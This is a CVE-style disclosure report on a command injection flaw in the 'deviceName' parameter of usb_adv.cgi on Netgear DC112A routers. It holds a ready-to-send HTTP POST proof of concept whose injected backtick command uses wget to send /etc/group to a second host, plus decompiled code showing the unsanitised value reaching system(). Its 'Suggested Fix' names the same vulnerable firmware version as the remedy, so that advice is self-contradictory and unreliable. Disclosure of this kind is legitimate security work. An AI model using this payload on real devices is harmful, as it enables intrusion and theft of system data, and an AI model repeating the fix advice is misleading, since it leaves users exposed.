

# CVE Report - Command Injection Vulnerability in Netgear DC112A\_V1.0.0.64 Routers

## Vulnerability Title

Command Injection Vulnerability in DC112A\_V1.0.0.64 Routers

## Vulnerability Description

Netgear DC112A\_V1.0.0.64 devices have an OS command injection vulnerability in the `usb_adv.cgi`, which allows remote attackers to execute arbitrary commands via parameter "deviceName" passed to the binary through a POST request.

## POC

```
POST /usb_adv.cgi?id=886362528 HTTP/1.1
```

```
Host: 192.168.1.1
```

```
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/113.0
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,zh-Tw;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2
```

```
Accept-Encoding: gzip, deflate
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 303
```

```
Origin: http://192.168.1.1
```

```
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
```

Connection: close

Referer: http://192.168.1.1/usb\_adv.cgi?id=886362528

Upgrade-Insecure-Requests: 1

Apply=Apply&deviceName=`wget http://192.168.1.2:7777?\$(cat /etc/group)`&workGroup=workgroup&enable\_samba=enable\_samba&enable\_http=enable\_http&no\_usb\_device=1&sharefolderNum=0&usb\_num=0&select=0&action=advance&umountsucc=0&enable\_apmode=1&enable\_stamode=0&is\_https=1&router\_smb\_link\_style=others&no\_dlna=

## Cause Analysis

Get the deviceName data passed in by the front end through the get\_value function, after sprintf splicing, it is directly passed to system.

```
sub_16680(a1, "deviceName", v78, 2048);
v80 = 3;
v81 = v78;
v82 = strlen(v78);
v79[0] = 15;
if ( sub_7C088(3, v78, v82, v79) )
    return sub_7C03C(a2);
acosNvramConfig_set("smb_host_name", v78);
agApi_natSetReadyshareName(v78);
sub_688F4(v78);
if ( acosNvramConfig_match("enable_ap_mode", "1") || acosNvramConfig_match("enable_sta_mode", "1") )
{
    system("/sbin/rmmod br_dns_hijack");
    sprintf(
        (char *)v79,
        0x80u,
        "/sbin/insmod /lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko readyshare_dev=%s",
        v78);
    system((const char *)v79);
}
```

## Suggested Fix

It is recommended to update to the version DC112A\_V1.0.0.64 of router to fix this vulnerability.